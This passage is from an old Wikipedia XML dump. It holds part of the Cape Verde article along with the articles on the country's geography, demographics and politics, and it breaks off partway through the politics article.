|national_anthem = [[Cântico da Liberdade]]
|official_languages = [[Portuguese language|Portuguese]] (official) and nine [[Portuguese-based creole languages|Portuguese Creoles]]
|capital = [[Praia, Cape Verde|Praia]]
|latd=14 |latm=55 |latNS=N |longd=23 |longm=31 |longEW=W
|largest_city = [[Praia, Cape Verde|Praia]]
|government_type =  Republic
|leader_titles = [[President of Cape Verde|President]]&lt;br&gt;[[Prime Minister of Cape Verde|Prime Minister]]
|leader_names =[[Pedro Pires]]&lt;br&gt;[[José Maria Neves]]
|area_rank = 165th
|area_magnitude = 1 E9
|area= 4,033 
|areami²= 1,557 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|percent_water = Negligible
|population_estimate = 418,224 &lt;!-- cia.gov --&gt;
|population_estimate_rank = 164th &lt;!-- cia.gov --&gt;
|population_estimate_year = July 2005 &lt;!-- cia.gov --&gt;
|population_census = 401,343
|population_census_year = 2001
|population_density = 101
|population_densitymi² = 262 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|population_density_rank = 71st
|GDP_PPP = $2.99 billion &lt;!-- cia.gov --&gt;
|GDP_PPP_rank = 171st
|GDP_PPP_year= 2005
|GDP_PPP_per_capita = $5,858
|GDP_PPP_per_capita_rank = 96th
|sovereignty_type = [[Independence]]
|established_events = from [[Portugal]]
|established_dates = Recognized [[July 5]], [[1975]]
|HDI = 0.721 
|HDI_rank = 105th
|HDI_year = 2003
|HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt;
|currency = [[Cape Verdean escudo]]
|currency_code = CVE
|country_code = 
|time_zone = 
|utc_offset = -1
|time_zone_DST = 
|utc_offset_DST = 
|cctld = [[.cv]]
|calling_code = 238
|footnotes = 
}}

== History ==
''Main article: [[History of Cape Verde]]''

Cape Verde was uninhabited when the [[Portugal|Portuguese]] arrived in [[1456]], and the islands were thus made part of the Portuguese empire. Due to its location off the coast of [[Africa]], Cape Verde became an important port, and was a major center of the slave trade.  

In [[1975]], the islands achieved independence, partially due to the efforts of the African Party for the Independence of Guinea-Bissau and Cape Verde ([[Partido Africano da Independência da Guiné e Cabo Verde|PAIGC]]).  After independence, the PAIGC attempted to unite Cape Verde and [[Guinea-Bissau]] into one nation, the PAIGC controlling both governments, but a coup in the latter nation in [[1980]] ended these plans.  In Cape Verde itself the PAICV (affiliated with the PAIGC) governed until elections were held in [[1991]] that resulted in a change of government.  The PAICV was re-elected in [[2001]].

External Links:

* [http://virtualcapeverde.net/news2/modules/Downloads/docs/cv_chronological_references.htm#_1900-1997_1 CABO VERDE CHRONOLOGICAL REFERENCES ]

== Politics ==
[[Image:CABRAL_2.jpg|frame|left|Amílcar Cabral]]''Main article: [[Politics of Cape Verde]]''

The government of Cape Verde is based on a Constitution that was established in [[1980]].  Elections are held for both the [[Prime Minister]] and [[President]], who both govern for 5-year terms.  Members of the General Assembly are elected as well, and they appoint the Supreme Court along with the President and Prime Minister.

See also: [[President of Cape Verde]], [[symbols of Cape Verde|National symbols]] 

&lt;br clear=&quot;all&quot;/&gt;

== Geography ==
[[Image:CapeVerde.png|right]]
''Main article: [[Geography of Cape Verde]]''

Cape Verde is an [[archipelago]] off the coast of Africa at 15.02N, 23.34W.  It is formed by 10 main islands and about 8 islets.  The main islands are:

*[[Barlavento]]s (northern island group)
**[[Santo Antão]]
**[[São Vicente (disambiguation)|São Vicente]]
**[[Santa Luzia, Cape Verde|Santa Luzia]]
**[[São Nicolau]]
**[[Sal, Cape Verde|Sal]]
**[[Boa Vista, Cape Verde|Boa Vista]]
*[[Sotavento]]s (southern island group)
**[[Maio]]
**[[Santiago, Cape Verde|Santiago]]
**[[Fogo, Cape Verde|Fogo]]
**[[Brava, Cape Verde|Brava]]

Of these, only Santa Luzia and the five islets are uninhabited. Presently it is a Natural Reserve. All islands are volcanic, but an active volcano exists on one of the islands, Fogo. See [[Mount Fogo]].

The islets are [[Branco, Cape Verde|Branco]], [[Razo]].

== Municipalities ==
[[Image:CapeVerdeIslands.jpg|thumb|An aerial view of Cape Verde]]
[[Image:IMG0078.jpg|frame|right|Cidade Velha.]]
[[Image:Mindelo portogrande.jpg|thumb|Porto Grande - the harbour of Mindelo, Sao Vicente Island]]
[[Image:Praia aerialview.jpg|thumb|An aerial view of the capital Praia]]
[[Cape Verde]] is divided into 22 municipalities (municípios, singular - município):

*[[Santo Antão|Santo Antão island]]:
**[[Paúl, Cape Verde|Paúl]]
**[[Porto Novo, Cape Verde|Porto Novo]]
**[[Ribeira Grande, Cape Verde|Ribeira Grande]]
*São Vicente island:
**[[São Vicente, Cape Verde|São Vicente]]
*[[Santa Luzia, Cape Verde|Santa Luzia island]] (included in S. Vicente concelho)
*São Nicolau island:
**[[São Nicolau, Cape Verde|São Nicolau]]

*Sal island:
**[[Sal, Cape Verde|Sal]]
*Boa Vista island:
**[[Boa Vista, Cape Verde|Boa Vista]]
*Maio island:
**[[Maio, Cape Verde|Maio]]
*[[Santiago, Cape Verde|Santiago island]]:
**[[Praia, Cape Verde|Praia]]

**[[Santa Catarina, Cape Verde|Santa Catarina]]
**[[Santa Cruz, Cape Verde|Santa Cruz]]
**[[São Domingos, Cape Verde|São Domingos]]
**[[São Miguel, Cape Verde|São Miguel]]

**[[Tarrafal, Cape Verde|Tarrafal]]
*[[Fogo, Cape Verde|Fogo island]]:
**[[São Filipe, Cape Verde|São Filipe]]
**[[Mosteiros, Cape Verde|Mosteiros]]

*Brava island:
**[[Brava, Cape Verde|Brava]]

== Economy ==
''Main article: [[Economy of Cape Verde]]''
[[Image:Pecheurs tarrafal.jpg|thumb|fishermen in Cape Verde]]
[[Image:Sea-salt-minemaio.jpg|thumb|sea salt mine in Cape Verde]]
[[Image:Santo Antao 01.jpg|thumb|Santo Antão, Cape Verde]]
[[Image:Sao Vicente.jpg|thumb|Sao Vicente, Cape Verde]]
[[Image:IMG0098x.jpg|frame|right|Assomada.S.Catarina.]]
Cape Verde is a small nation that lacks resources and has experienced severe droughts as well as water shortages.  Agriculture is somewhat stymied by lack of rain, and is restricted to only four islands for most of the year. Most of the nation's GDP is from the services industry. Cape Verde's economy has largely grown since the late 1990s, and it is now considered a country of average human development. Cape Verde has significant cooperation with Portugal at every level of the economy, leading it to establish its currency, first as the Portuguese escudo, then as the [[euro]] since [[1999]]. 

Former Portuguese prime minister [[José Manuel Durão Barroso]], now (second semester [[2004]]) president of the European Commission, has promised to help integrate Cape Verde within the European Union sphere of influence via greater cooperation with Portugal. In March [[2005]], former Portuguese president [[Mário Soares]] launched a petition urging the [[European Union]] to start membership talks with Cape Verde.

== Demographics ==

''Main article: [[Demographics of Cape Verde]]''

Most inhabitants of Cape Verde are descendants of the white Portuguese settlers and black African slaves.  More Cape Verdeans live abroad than in Cape Verde, with significant emigrant Cape Verdean communities in the [[United States]] (264,900 Cape Verdians), [[Portugal]] (80,000) and [[Angola]] (45,000). There are also significant number of Cape Verdeans in [[São Tomé and Príncipe]], [[Senegal]], [[France]], [[Brazil]] and the [[Netherlands]].

== Culture ==
''Main article: [[Culture of Cape Verde]]''

The culture of Cape Verde reflects its mixed Portuguese and African roots. It is well known for its diverse forms of music such as [[Morna]] (the Capeverdian [[Fado]]) and the urban Cape Verdian [[kizomba]], and a wide variety of dances: the soft dance Morna, the [[Funana]] - a sensual mixed Portuguese and African dance, the extreme sensuality of [[coladeira]] (literally &quot;glued&quot;), and the African [[Batuque]] dance. These are reflective of the diverse origins of Cape Verde's residents. Indigenously, the term &quot;Cabo&quot; is used to refer to residents as well as the culture of Cape Verde.

* ''See also'': [[List of African writers (by country)#Cape Verde|List of writers from Cape Verde]]
* ''See also'': [[List of painters from Cape Verde]]

==== Capeverdean Literature ====

Capeverdean literature is one of the richest of Lusitanian Africa. 

* Poets: [http://www.unb.br/il/liv/public/frusoni.htm Frusoni Sergio], [http://www.eugeniotavares.org/ Tavares Eugénio], B.Léza, João Cleofas Martins, [[Luís Romano de Madeira Melo]], Ovídio Martins, Barbosa Jorge, Fortes Corsino António, [[Baltasar Lopes]] (Osvaldo Alcântara), João Vário, Oswaldo Osório, Arménio Vieira, Vadinho Velhinho, José Luís Tavares, etc.  
* Authors: [http://www.caboindex.com/claridade/ Manuel Lopes - Movimento Claridade], Almeida Germano, [[Luís Romano de Madeira Melo]], Germano de Almeida, Orlanda Amarilis, Jorge Vera Cruz Barbosa, Pedro Cardoso, Mário José Domingues, Daniel Filipe, Mário Alberto Fonseca de Almeida, Corsino António Fortes, Arnaldo Carlos de Vasconcelos França, António Aurélio Gonçalves, Aguinaldo Brito Fonseca, Ovídio de Sousa Martins , Osvaldo Osório, Dulce Almada Duarte, Manuel Veiga   

* Poems in Portuguese: [http://home.no.net/oaa/poesia.htm Capeverdean Poems], [http://geocities.yahoo.com.br/poesiaeterna/apepmd.htm Poesia]
* [http://home.no/tabanka/literature.htm Capeverdean Literature]
* [http://www.tanboru.org/mito/sopinha/index.htm Sopinha de Alfabeto]

* Famous tales: [http://www.minerva.uevora.pt/aprenderpt/jogoproj/tilobo.html Ti Lobo and Chibinho]

[[Image:Old postcard SaoVicente2.jpg|thumb|postcard from Sao Vicente]]


=== Music ===

* Compositor: [http://www.caboverdeonline.com/contents/Port/2003/G/04/mn041503.asp Manuel de Novas], [http://www.vasco-martins.com/english.htm Vasco Martins], Jorge Monteiro (Jotamonte), Frank Cavaquim (Francisco Vicente Gomes)

* Artist: Antoninho Travadinha, Bana, Bau, Gé Mendes, Bulimundo, Celina Pereira, Cesária Évora, Cordas do Sol, Fantcha, , Jorge Humberto, Ildo Lobo, Luís Morais, Lura, Maria-Alice, Orlando Pantera, Os Tubarões, Paulino Vieira, Simentera, Tchéka, Teofilo Chantre, Titina, Tito Paris,

== Language ==
{{main|Capeverdean Crioulo languages}}
Portuguese is Cape Verde's official language, and the language of instruction in official schools. However, the [[Capeverdean Crioulo languages]] are also widely spoken.  These are a range of Portuguese-based [[creole language]]s, which vary considerably from island to island. 

There is a substantial body of literature in these languages, especially in the [[Santiago Crioulo language|Crioulo of Santiago (''bádiu'')]] and the [[São Vicente Crioulo language|Crioulo of São Vicente (''criol di de Soncente'')]].  The Crioulo languages have been gaining prestige since the nation's independence from Portugal, and there is a movement to make the variant of Santiago the official language of the country.

However, the substantial differences between the languages spoken in different islands, each with its traditional spelling system, has been a major obstacle in the way of this move. Some people have advocated the development of two unformized official languages: a North (Barlavento) standard, centered on the Crioulo of San Vicente, and a South (Sotavento) standard, centered on that of Santiago.

== Newspapers ==

Newspapers: 

[[Image:sem8a1.jpg||frame|right|A SEMANA Nº 495, 2001/03/02.]]
*A Semana (Praia,1991-)
*Expresso das Ilhas
*Jornal O Cidadao (São Vicente)
*Jornal Horizonte (Praia, 1988-)
*Terra Nova (S.Vicente, 1975-)
*Artiletra (S.Vicente, 1991-)

Newspapers Online:

*[http://www.vozdipovo-online.com/ VozDiPovo-Online :: A Voz + Jovem de Cabo Verde]
*[http://www.asemana.cv/ A Semana]
*[http://www.inforpress.cv/ Infopress]
*[http://www.hostultra.com/~caboverde/cidadao/index.htm O Cidadao]
*[http://www.paralelo14.com/p14/index.php Paralelo 14]
*[http://www.visaonews.com/ Visão News]
*[http://www.liberal-caboverde.com/ O Liberal]
*[http://www.expressodasilhas.cv/ Expresso da Ilhas]]

== Miscellaneous topics ==
[[Image:Old postcard SaoVicente3.jpg|thumb|An old postcard from São Vicente, Cape Verde]]

* [[Cape Verdean Immigration History in the United States]]
* [[Communications in Cape Verde]]
* [[Community of Portuguese Language Countries]]
* [[Foreign relations of Cape Verde]]
* [[Military of Cape Verde]]
* [[Public holidays in Cape Verde]]
* [[Transportation in Cape Verde]]

== References ==
*Much of the material in these articles comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.
*Dr Marcel Gomes Balla of Boston University has written a short history of these islands, Antonio's Island ISBN 1898030480, covering: The 'official' discovery of Cabo Verde, The Treaty of Tordesilhas- the complete text-in English, The Cape Verdean navigator who made an extraordinary impact on America, Africa, Europe and Asia, The involvement of the church with slavery, The historical ties between Cabo Verde and Columbus, Cabo Verde Vasco da Gama and Cabral, The creation of Brazil, The historical ties with Italy and other countries, The first non-Europeans to cross the Atlantic with a regular sailing schedule and a lot more useful information such as: Portraits of Cape Verdean navigators published for the first time for the public (Africans , mestizos, Europeans, but always Cape Verdeans). Still other famous Cape Verdeans in science, politics etc. Maps confirming the discovery of the islands and the importance of Cape Verdeans and Cabo Verde in world history.

== External links ==
{{sisterlinks|Cape Verde}}

===Government===
*[http://www.governo.cv/ República de Cabo Verde] official government site (in Portuguese)
*[http://www.parlamento.cv/ Assembleia Nacional de Cabo Verde] official parliamentary site

===News===
* [http://allafrica.com/capeverde/ allAfrica.com - ''Cape Verde''] news headline links

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1021202.stm BBC News - ''Country Profile: Cape Verde'']
*[http://www.cia.gov/cia/publications/factbook/geos/cv.html CIA World Factbook - ''Cape Verde'']
* [http://virtualcapeverde.net/news2/modules/Downloads/docs/cv_chronological_references.htm#_1900-1997_1 Cabo Verde Chronological References]

===Directories===
* [http://search.looksmart.com/p/browse/us1/us317836/us317916/us559898/us559899/us10065674/us10056634/ LookSmart - ''Cape Verde''] directory category
* [http://dmoz.org/Regional/Africa/Cape_Verde/ Open Directory Project - ''Cape Verde''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/capev.html Stanford University - Africa South of the Sahara: ''Cape Verde''] directory category
*[http://www.afrika.no/index/Countries/Cape_Verde/ The Index on Africa - ''Cape Verde''] directory category
*[http://www.sas.upenn.edu/African_Studies/Country_Specific/C_Verde.html University of Pennsylvania - African Studies Center: ''Cape Verde''] directory category
* [http://dir.yahoo.com/Regional/Countries/Cape_Verde/ Yahoo! - ''Cape Verde''] directory category
* [http://www.caboverde24.com Cabo Verde 24 - ''Cape Verde'' ] directory category

===Tourism===
[[Image:Santo-antao agaves.jpg|thumb|Agaves à Santo Antão]]
*[http://www.access-investment-property.com/cape-verde-property/ Cape Verde Off Plan Property and Info]
*[http://www.bela-vista.net/cape-verde.htm  Travel Info by Lucete Fortes]
*[http://www.bela-vista.net/map-order-e.htm Maps and Guide books by Lucete Fortes]
*[http://www.ecaboverde.com Cape Verde Photos]
*[http://www.capeverde.dreamlocations.co.uk Cape Verde Property for sale]
*{{wikitravel}}

{{Africa}}

[[Category:Cape Verde| Cape Verde]]

[[am:ኬፕ ቨርዴ]]
[[ar:رأس أخضر]]
[[bg:Кабо Верде]]
[[bs:Zelenortska Republika]]
[[zh-min-nan:Chheⁿ-kak Kiōng-hô-kok]]
[[bn:কেপ ভের্দ]]
[[ca:Cap Verd]]
[[cs:Kapverdy]]
[[cy:Cabo Verde]]
[[da:Kap Verde]]
[[de:Kap Verde]]
[[et:Cabo Verde]]
[[es:Cabo Verde]]
[[eo:Kabo-Verdo]]
[[fr:Cap-Vert]]
[[gl:Cabo Verde]]
[[ko:카보베르데]]
[[hr:Zelenortska Republika]]
[[io:Kabo Verda]]
[[id:Tanjung Verde]]
[[ia:Capo Verde]]
[[is:Grænhöfðaeyjar]]
[[it:Capo Verde]]
[[he:קייפ ורדה]]
[[lv:Kaboverde]]
[[lt:Žaliasis Kyšulys]]
[[hu:Zöld-foki Köztársaság]]
[[mk:Зелено’ртски острови]]
[[ms:Cape Verde]]
[[na:Kap Verde]]
[[nl:Kaapverdië]]
[[nds:Kap Verde]]
[[ja:カーボベルデ]]
[[no:Kapp Verde]]
[[nn:Kapp Verde]]
[[pl:Republika Zielonego Przylądka]]
[[pt:Cabo Verde]]
[[ru:Кабо-Верде]]
[[sq:Kepi Verde]]
[[sk:Kapverdy]]
[[sl:Zelenortski otoki]]
[[sr:Зеленортска острва]]
[[fi:Kap Verde]]
[[simple:Cape Verde]]
[[sv:Kap Verde]]
[[tl:Cape Verde]]
[[tr:Kap Verde]]
[[uk:Кабо-Верде]]
[[zh:佛得角]]</text>
    </revision>
  </page>
  <page>
    <title>Cape Verde/History</title>
    <id>5459</id>
    <revision>
      <id>15903666</id>
      <timestamp>2002-05-21T03:38:07Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Cape Verde]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Cape Verde</title>
    <id>5460</id>
    <revision>
      <id>40556520</id>
      <timestamp>2006-02-21T11:50:13Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <comment>better map</comment>
      <text xml:space="preserve">[[Image:LocationCapeVerde.png|right|]]
This article describes the '''[[geography]] of [[Cape Verde]]'''.

The Cape Verde Islands are located in the mid-Atlantic Ocean some 620 kilometers (385 mi.) off the west coast of Africa. The archipelago consists of 10 islands and 5 islets, divided into the windward ([[Barlavento]]) and leeward ([[Sotavento]]) groups. The six islands in the Barlavento group are [[Santo Antão]], [[São Vicente]], [[Santa Luzia, Cape Verde|Santa Luzia]], [[São Nicolau]], [[Sal, Cape Verde|Sal]], and [[Boa Vista, Cape Verde|Boa Vista]]. The islands in the Sotavento group are [[Maio]], [[Santiago, Cape Verde|Santiago]], [[Fogo, Cape Verde|Fogo]], and [[Brava]]. All but Santa Luzia are inhabited.

Three islands &amp;ndash; Sal, Boa Vista, and Maio &amp;ndash; generally are level and lack natural water supplies. Mountains higher than 1,280 meters (4,200 ft) are found on Santiago, Fogo, Santo Antão, and São Nicolau.

Sand carried by high winds has caused erosion on all islands, especially the windward ones. Sheer, jagged cliffs rise from the sea on several of the mountainous islands. The lack of natural vegetation in the uplands and coast also contributes to soil erosion. Only the interior valleys support natural vegetation.

Rainfall is irregular, historically causing periodic droughts and famines. The average precipitation per year in Praia is 240 millimeters (9.5 in). During the winter, storms blowing from the Sahara sometimes form dense dust clouds that obscure the sun; however, sunny days are the norm year round.

The ocean near Cape Verde is an area of [[tropical cyclone]] formation; since these storms have the whole Atlantic to develop as they move westward, they are among the most intense hurricanes, and are called [[Cape Verde-type hurricane]]s.

[[Image:Cape Verde Map.jpg|right|thumb|300px|Map of the Cape Verde Islands]]

; Location:
: Western [[Africa]], group of islands in the North [[Atlantic Ocean]], west of [[Senegal]]
; Geographic coordinates:
: {{coor d|16|N|24|W|}}
; Map references:
: World
; Area:
:* Total: 4,033 [[Square kilometre|km&amp;sup2;]]
:* Land: 4,033 km&amp;sup2;
:* Water: 0 km&amp;sup2;
; Area &amp;ndash; comparative:
: US: slightly larger than Rhode Island
: UK: slightly larger than Suffolk
; Land boundaries:
: 0 km
; Coastline:
: 965 km
; Maritime claims:
:* Measured from claimed archipelagic baselines
:* Contiguous zone: 24 [[Nautical mile|nm]] (44.5 km)
:* Exclusive economic zone: 200 nm (370.4 km)
:* Territorial sea: 12 nm (22.2 km)

[[Image:capeverde.jpg|thumb|right| Cape Verde satellite image]]

; Climate:
: Temperate; warm, dry summer; precipitation meager and very erratic
; Terrain:
: Steep, rugged, rocky, volcanic
; Elevation extremes:
:* Lowest point: Atlantic Ocean 0 [[metre|m]]
:* Highest point: [[Mount Fogo]] 2,829 m (a volcano on Fogo Island)
; Natural resources:
: [[Salt]], [[basalt]] rock, [[pozzuolana]] (a siliceous volcanic ash used to produce hydraulic cement), [[limestone]], [[kaolin]], [[fish]]
; Land use:
:* Arable land: 11%
:* Permanent crops: 0%
:* Permanent pastures: 6%
:* Forests and woodland: 0%
:* Other: 83% (1993 est.)
; Irrigated land:
: 30 km&amp;sup2; (1993 est.)
; Natural hazards:
: Prolonged [[drought]]s; harmattan wind can obscure visibility; volcanically and seismically active
; Environment - current issues:
: [[Overgrazing]] of [[livestock]] and improper land use such as the cultivation of crops on steep slopes has led to soil [[erosion]]; demand for [[wood]] used as fuel has resulted in [[deforestation]]; [[desertification]]; environmental damage has threatened several species of [[bird]]s and [[reptile]]s; [[overfishing]]
; Environment - international agreements:
:* Party to: [[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Desertification]], [[Environmental Modification]], [[Hazardous Wastes]], [[Law of the Sea]], [[Marine Dumping]], [[Nuclear Test Ban]]
:* Signed, but not ratified: None of the selected agreements
; Geography - note:
: Strategic location 500 km from west coast of Africa near major north-south sea routes; important communications station; important sea and air refueling site

== See also ==
* [[Cape Verde]]

{{Africa in topic|Geography of}}

[[Category:Geography by country|Cape Verde]]
[[Category:Volcanoes of Cape Verde| ]]
[[Category:Hotspot volcanoes|Cape Verde, Geography of]]
[[Category:Ridge volcanoes|Cape Verde, Geography of]]
[[Category:Geography of Cape Verde| ]]

[[es:Geografía de Cabo Verde]]
[[pl:Wyspy Zielonego Przyl&amp;#261;dka]]
[[pt:Geografia de Cabo Verde]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Cape Verde</title>
    <id>5461</id>
    <revision>
      <id>40776360</id>
      <timestamp>2006-02-22T23:12:14Z</timestamp>
      <contributor>
        <username>Jorge Stolfi</username>
        <id>48742</id>
      </contributor>
      <minor />
      <comment>typo in [[Capeverdean Crioulo languages]]</comment>
      <text xml:space="preserve">[[Image:Cape-Verde-demography.png|thumb|300px|right|Demographics of Cape Verde, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]
The [[Cape Verde]] [[archipelago]] was uninhabited until the [[Portugal|Portuguese]] discovered it in [[1456]]. [[Africa]]n slaves were brought to the islands to work on Portuguese plantations. As a result, Cape Verdeans have mixed African and [[Europe]]an origins. Vestiges of African culture are most pronounced on the island of [[Santiago Island (Cape Verde)|Santiago]], where 50% of the people live. Survival in a country with few natural resources historically has induced Cape Verdeans to emigrate. In fact, of the more than 1 million people of Cape Verdean ancestry in the world, only a little more than one-third actually live on the islands. Some 500,000 people of Cape Verdean ancestry live in the [[United States]], mainly in [[New England]]. [[Portugal]], [[the Netherlands]], [[Italy]], [[France]], and [[Senegal]] also have large communities.

Although the official language is Portuguese, most Cape Verdeans speak a [[creole language]] ([[Capeverdean Crioulo languages|Crioulo, ''Kriolu'', ''Criol'']]) derived from archaic Portuguese, African, and other European languages. There is a rich repertoire of literature and songs in Crioulo.

==Demographic data from the CIA World Factbook==

===Population===
:418,224 (July 2005 est.)

===Age structure===
:0-14 years: 39% (male 82,249/female 80,752)
:15-64 years: 54.3% (male 110,119/female 116,816)
:65 years and over: 6.8% (male 10,599/female 17,689) (2005 est.)

===Median age===
:Total: 19.4 years
:Male: 18.62 years
:Female: 20.25 years (2005 est.)

===Population growth rate===
:0.67% (2005 est.)

===Birth rate===
:25.33 births/1,000 population (2005 est.)

===Death rate===
:6.62 deaths/1,000 population (2005 est.)

===Net migration rate===
:-11.99 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.03 male(s)/female
:Under 15 years: 1.02 male(s)/female
:15-64 years: 0.94 male(s)/female
:65 years and over: 0.6 male(s)/female
:Total population: 0.94 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 47.77 deaths/1,000 live births
:Male: 52.95 deaths/1,000 live births
:Female: 42.44 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 70.45 years
:Male: 67.13 years
:Female: 73.86 years (2005 est.)

===Total fertility rate===
:3.48 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 0.035% (2001 est.)
:People living with HIV/AIDS: 775 (2001)
:Deaths: 225 (as of 2001)

===Nationality===
:Noun: Cape Verdean(s)
:Adjective: Cape Verdean

===Ethnic groups===
:Creole (mulatto) 71%, African 28%, European 1%

===Religions===
:Roman Catholic (infused with indigenous beliefs); Protestant (mostly Church of the Nazarene)

===Languages===
:Portuguese, Crioulo (a blend of Portuguese and West African words)

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 76.6%
:Male: 85.8%
:Female: 69.2% (2003 est.)

==References==
{{CIA WFB 2005}}

{{Africa in topic|Demographics of}}

[[Category:Demographics by country|Cape Verde]]
[[Category:Cape Verde]]

[[pt:Demografia de Cabo Verde]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Cape Verde</title>
    <id>5462</id>
    <revision>
      <id>41944250</id>
      <timestamp>2006-03-02T20:15:06Z</timestamp>
      <contributor>
        <username>FernValim</username>
        <id>518993</id>
      </contributor>
      <minor />
      <comment>including 5 new conselhos, new Ambassador in Praia</comment>
      <text xml:space="preserve">{{Politics of Cape Verde}}
The constitution first approved in 1980 and substantially revised in 1992 forms the basis of government organization. It declares that the government is the &quot;organ that defines, leads, and executes the general internal and external policy of the country&quot; and is responsible to the National Assembly. The Prime Minister is the head of the government and as such proposes other ministers and secretaries of state. Members of the National Assembly are elected by popular vote for five-year terms; the most recent elections were held in 2001. The Prime Minister is nominated by the National Assembly and appointed by the President. The President is the head of state and is elected by popular vote for a five-year term; the most recent elections were held in 2001.
The judicial system is comprised of a Supreme Court of Justice &amp;mdash; whose members are appointed by the President, the National Assembly, and the Superior Board of the Magistrature &amp;mdash; and regional courts. Separate courts hear civil and criminal cases. Appeal to the Supreme Court is possible.

===Principal Government Officials===
* President: [[Pedro Pires]] (Since March 2001)
* Prime Minister: [[José Maria Neves]] (Since February 2001)
* President of the National Assembly: [[Aristides Lima]] (as of 2000)
* Minister of Foreign Affairs: [[Victor Borges]] (since 2004)
* Minister of National Defense: [[Armindo Maurício]] (as of 2003)
* Ambassador to the United States: José Brito
* Ambassador to the United Nations: Fátima Veiga (as of  August 2004)

Cape Verde maintains an embassy in the United States at 3415 Massachusetts Avenue, NW., Washington, D.C. 20007 (tel. 202-965-6820) and a consulate in Boston (tel. 617-353-0014).

===Political conditions===
Following independence in 1975, the [[African Party for the Independence of Guinea and Cape Verde]] (PAIGC) established a one party political system. This become the [[African Party for the Independence of Cape Verde]] (PAICV) in 1980, as Cape Verde sought to distance itself from [[Guinea-Bissau]], following unrest in that country.

In 1991, following growing pressure for a more pluralistic society, multi-party elections were held for the first time.  The opposition party, the [[Movement for Democracy (Cape Verde)|Movement for Democracy]] (MpD), won the legislative elections, and formed the government. The MpD candidate also defeated the PAICV candidate in the presidential elections. In the 1996 elections, the MpD increased their majority, but in the 2001 the PAICV returned to power, winning both the Legislative and the Presidential elections. 

Generally, Cape Verde enjoys a stable democratic system. The elections have been considered free and fair, there is a free press, and the rule of law is respected by the State.

'''Country name:'''
&lt;br&gt;''conventional long form:''
Republic of Cape Verde
&lt;br&gt;''conventional short form:''
Cape Verde
&lt;br&gt;''local long form:''
Republica de Cabo Verde
&lt;br&gt;''local short form:'' Cabo Verde

'''Data code:''' CV

'''Government type:''' republic

'''Capital:''' [[Praia]]

'''Administrative divisions:'''

Cape Verde is divided into 22 municipalities (concelhos, singular - concelho): [[Boa Vista, Cape Verde|Boa Vista]], [[Brava, Cape Verde|Brava]], [[Maio]], [[Mosteiros]], [[Paul, Cape Verde|Paul]], [[Praia]], [[Porto Novo]], [[Ribeira Grande]], [[Ribeira Grande de Santiago]],[[Sal, Cape Verde|Sal]], [[Santa Catarina, Cape Verde|Santa Catarina]], [[Santa Catarina do Fogo]], [[Santa Cruz, Cape Verde|Santa Cruz]], [[São Domingos]], [[São Filipe]], [[São Lourenço dos Órgãos]],[[São Miguel]], [[São Nicolau]], [[São Salvador do Mundo]], [[São Vicente]], [[Tarrafal]], [[Tarrafal de São Nicolau]], 

'''Independence:'''
[[July 5]] [[1975]] (from [[Portugal]])

'''National holiday:'''
Independence Day, [[5 July]] ([[1975]])

'''Constitution:'''
new [[Constitution of Cape Verde|constitution]] came into force [[25 September]] [[1992]]

'''Legal system:'''
derived from the legal system of Portugal

'''Suffrage:'''
18 years of age; universal

'''Executive branch:'''
&lt;br&gt;''Previous chief of state:''
President [[Antonio Mascarenhas Monteiro|Antonio MASCARENHAS Monteiro]] (since [[22 March]] [[1991]]) (until March 2001)
Current chief of state: President Pedro Pires (since March 2001)
&lt;br&gt;''Previous head of government:''
Prime Minister [[Carlos Veiga|Carlos Alberto Wahnon de Carvalho VEIGA]] (since [[13 January]] 1991) (until February 2001)
Current head of government: Prime Minister José Maria Neves, since February 2001.
&lt;br&gt;''cabinet:''
Council of Ministers appointed by the president on the recommendation of the prime minister from among the members of the National Assembly
&lt;br&gt;''elections:''
president elected by popular vote for a five-year term; election held [[18 February]] [[1996]] (last held 2001); prime minister nominated by the National Assembly and appointed by the president
&lt;br&gt;''election results in 1996::''
Antonio MASCARENHAS Monteiro reelected president; percent of vote - Antonio MASCARENHAS Monteiro (independent) 80.1%

'''Legislative branch:'''
unicameral National Assembly or Assembleia Nacional (72 seats; members are elected by popular vote to serve five-year terms)
&lt;br&gt;''elections:''
held [[17 December]] [[1995]] (lastheld NA December 2000)
&lt;br&gt;''election results in 199:''
percent of vote by party - MPD5: 61.3%, PAICV 29.8%, PCD 6.7%, other 2.2%; seats by party - MPD 50, PAICV 21, PCD 1

'''Judicial branch:'''
Supreme Tribunal of Justice or Supremo Tribunal de Justiça

'''Political parties and leaders:''': see [[List of political parties in Cape Verde]]

'''International organization participation:'''
[[ACCT]], [[ACP (Lomé Convention)|ACP]], [[AfDB]], [[Customs Coordination Council|CCC]], [[United Nations Economic Commission for Africa|ECA]], [[ECOWAS]], [[FAO]], [[G-77]], [[IBRD]], [[ICAO]], [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[IFAD]], [[IFC]], [[IFRCS]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization]], [[Intelsat]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]] (observer), [[International Telecommunication Union|ITU]], [[NAM]], [[OAU]], [[OPCW]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNIDO]], [[UPU]], [[WCL]], [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WTrO]] (applicant)

'''Diplomatic representation in the US:'''
